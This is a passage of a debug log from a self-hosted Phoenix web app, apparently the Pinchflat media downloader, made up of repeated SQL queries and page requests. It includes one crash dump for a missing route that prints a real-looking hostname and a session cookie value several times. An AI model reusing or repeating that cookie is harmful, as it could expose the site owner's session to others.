22:17:24.618 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.618 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12541] 22:17:24.618 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:24.619 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.619 [info] GET /sources/10/sync_files_on_disk 22:17:24.620 [info] Sent 200 in 8ms 22:17:24.621 [debug] QUERY OK source="settings" db=1.8ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.621 [debug] QUERY OK source="settings" db=2.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.621 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.623 [info] Sent 200 in 5ms 22:17:24.623 [debug] QUERY OK source="settings" db=1.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.623 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.625 [info] GET /sources/10/media/12542/edit 22:17:24.626 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12542", "source_id" => "10"} Pipelines: [:browser] 22:17:24.626 [debug] QUERY OK source="media_items" db=0.3ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12542] 22:17:24.623 [error] #PID<0.37232.0> running PinchflatWeb.Endpoint (connection #PID<0.37081.0>, stream id 6) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37081.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44472}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37232.0>, params: %{}, path_info: ["sources", "10", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvn9pqBuEAVcAAXnl"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37081.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44472}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37081.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44472}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4 (truncated) 22:17:24.627 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.627 [info] GET /sources/10/media/12542 22:17:24.627 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12542", "source_id" => "10"} Pipelines: [:browser] 22:17:24.628 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.628 [debug] QUERY OK source="media_items" db=0.3ms queue=0.3ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12542] 22:17:24.628 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.629 [debug] QUERY OK source="tasks" db=0.3ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12542] 22:17:24.629 [debug] QUERY OK source="sources" db=0.4ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.630 [info] Sent 200 in 4ms 22:17:24.630 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=1.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2180] 22:17:24.631 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.631 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.632 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.633 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:24.634 [info] Sent 200 in 6ms 22:17:24.829 [info] GET /sources/10/media/12543 22:17:24.830 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12543", "source_id" => "10"} Pipelines: [:browser] 22:17:24.834 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=201.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12543] 22:17:24.835 [debug] QUERY OK source="sources" db=0.8ms idle=203.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.836 [debug] QUERY OK source="tasks" db=1.2ms idle=203.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12543] 22:17:24.838 [debug] QUERY OK source="oban_jobs" db=1.5ms idle=204.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2181] 22:17:24.839 [debug] QUERY OK source="settings" db=0.3ms idle=206.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.840 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.841 [debug] QUERY OK source="settings" db=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.842 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:24.846 [info] Sent 200 in 16ms 22:17:24.857 [info] GET /sources/10/media/12543/edit 22:17:24.857 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12543", "source_id" => "10"} Pipelines: [:browser] 22:17:24.858 [debug] QUERY OK source="media_items" db=0.4ms idle=19.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12543] 22:17:24.859 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=19.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.859 [debug] QUERY OK source="settings" db=0.1ms idle=19.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.860 [debug] QUERY OK source="settings" db=0.1ms idle=19.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.862 [info] Sent 200 in 4ms 22:17:24.863 [info] GET /sources/10/media/12544 22:17:24.864 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12544", "source_id" => "10"} Pipelines: [:browser] 22:17:24.864 [debug] QUERY OK source="media_items" db=0.3ms idle=21.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12544] 22:17:24.865 [debug] QUERY OK source="tasks" db=0.5ms idle=6.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12544] 22:17:24.865 [debug] QUERY OK source="sources" db=0.4ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.866 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=6.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2182] 22:17:24.867 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.868 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.868 [info] GET /sources/10/media/12544/edit 22:17:24.868 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12544", "source_id" => "10"} Pipelines: [:browser] 22:17:24.869 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12544] 22:17:24.869 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:24.870 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.870 [debug] QUERY OK source="settings" db=0.4ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 